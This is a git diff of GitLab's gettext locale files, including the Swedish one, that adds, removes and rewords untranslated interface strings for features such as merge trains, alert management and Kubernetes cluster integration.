-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28849,6 +29671,12 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "group"
msgstr ""
@@ -28894,9 +29722,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28939,6 +29764,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29089,9 +29917,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29104,6 +29938,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29176,9 +30013,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29212,12 +30046,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29299,19 +30127,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29527,6 +30355,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29572,9 +30403,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29692,6 +30520,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29710,6 +30541,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29773,6 +30607,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index 2d6d43dbf7e..2e0e28ee022 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:49\n"
+"PO-Revision-Date: 2020-09-04 23:11\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
